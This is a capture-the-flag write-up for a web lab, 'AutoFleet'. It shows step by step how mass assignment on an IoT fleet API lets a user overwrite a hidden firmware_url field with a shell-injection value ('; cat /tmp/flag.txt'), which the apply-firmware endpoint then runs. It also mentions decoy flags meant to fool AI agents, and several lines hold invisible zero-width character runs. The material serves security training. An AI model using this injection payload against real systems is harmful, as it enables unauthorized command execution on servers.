← Back to Writeups
CUSTOMEasyWeb

Lab 8 — AutoFleet — API Mass Assignment to RCE

XESXOR9/10/20263 min read
#web#custom#easy#api_parameter_tampering#firmware_url_manipulation#hidden_field_injection#mass_assignment_exploitation#shell_command_injection#linux

Lab 8 — AutoFleet — API Mass Assignment to RCE

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-30 | Status: Solved Techniques: api_parameter_tampering, firmware_url_manipulation, hidden_field_injection, mass_assignment_exploitation, shell_command_injection

Summary

Task: IoT fleet management REST API with undocumented firmware_url field writable via PATCH (OWASP API6:2023 Mass Assignment). Solution: Overwrite firmware_url with shell metacharacters via mass assignment, then trigger apply-firmware to achieve command injection and RCE.

Lab 8 — AutoFleet — API Mass Assignment to RCE — hackadvisor

Description

AutoFleet is a fleet management dashboard for IoT devices — vehicle trackers, sensors, and controllers. The platform provides a REST API for device management, telemetry monitoring, and firmware updates. The development team recently shipped a new API version and moved fast on input validation. The objective is to find a vulnerability in the API that allows executing arbitrary commands on the server. The flag is stored in /tmp/flag.txt. Test credentials: user@test.com / password123. Flag format: FLAG{...}. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: IoT fleet management platform with REST API for device CRUD, telemetry, and firmware updates. Goal is to achieve RCE and read /tmp/flag.txt. Login credentials provided.

Analysis

  1. Authentication: Login via POST /auth/login with form data email=user@test.com&password=password123 returns a connect.sid session cookie.

  2. Honeypot flags: Every page contains decoy flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) hidden in HTML comments and invisible divs — designed to trick automated scanners and AI agents. These are fake. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  3. API documentation at /api-docs documents 8 endpoints:

    • GET /api/v1/devices — List all devices
    • GET /api/v1/devices/:id — Get device details
    • PATCH /api/v1/devices/:id — Update device (documented fields: name, location, status, tags)
    • POST /api/v1/devices/:id/apply-firmware — Trigger firmware update from device's configured firmware_url
    • GET /api/v1/devices/:id/telemetry — Get telemetry data
    • GET /api/v1/devices/:id/firmware-logs — Get firmware logs
    • GET /api/v1/alerts — List alerts
    • POST /api/v1/alerts/:id/acknowledge — Acknowledge alert ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
  4. Hidden field discovery: GET /api/v1/devices/1 response includes a firmware_url field ("firmware_url": "https://firmware.autofleet.internal/v1.2.3/vehicle_tracker.bin") that is NOT listed among the PATCH endpoint's documented parameters.

  5. Mass Assignment (OWASP API6:2023): The PATCH endpoint has no server-side field whitelist — it accepts ANY field from the request body and writes it to the database, including protected fields like firmware_url.

  6. Command Injection via firmware update: The apply-firmware endpoint description states "The system will download and apply the firmware from the device's configured firmware URL" — implying the server passes the URL to a shell command (e.g., curl or wget) without sanitization. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Authenticate

bash
curl -sk -c cookies.txt -X POST \
  "https://67f27e04-5f89-4849-bbc2-801d0894d77d.labs.hackadvisor.io/auth/login" \
  -d "email=user@test.com&password=password123"

Step 2: Mass Assignment — Overwrite firmware_url with shell injection payload

The PATCH endpoint only documents name, location, status, tags — but accepts any field. Inject a semicolon to break out of the shell command:

bash
curl -sk -b cookies.txt -X PATCH \
  "https://67f27e04-5f89-4849-bbc2-801d0894d77d.labs.hackadvisor.io/api/v1/devices/1" \
  -H "Content-Type: application/json" \
  -d '{"firmware_url": "https://example.com/test.bin; cat /tmp/flag.txt"}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response confirms the field was updated:

json
{
  "data": {
    "firmware_url": "https://example.com/test.bin; cat /tmp/flag.txt",
    ...
  },
  "message": "Device updated successfully"
}

Step 3: Trigger firmware update — Command Injection → RCE

bash
curl -sk -b cookies.txt -X POST \
  "https://67f27e04-5f89-4849-bbc2-801d0894d77d.labs.hackadvisor.io/api/v1/devices/1/apply-firmware" \
  -H "Content-Type: application/json"

The server executes something like curl <firmware_url> in a shell. The semicolon breaks the command, and cat /tmp/flag.txt runs as a separate command: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

json
{
  "success": true,
  "output": "FLAG{REDACTED}\n",
  "device_id": "AFT-000",
  "firmware_url": "https://example.com/test.bin; cat /tmp/flag.txt"
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍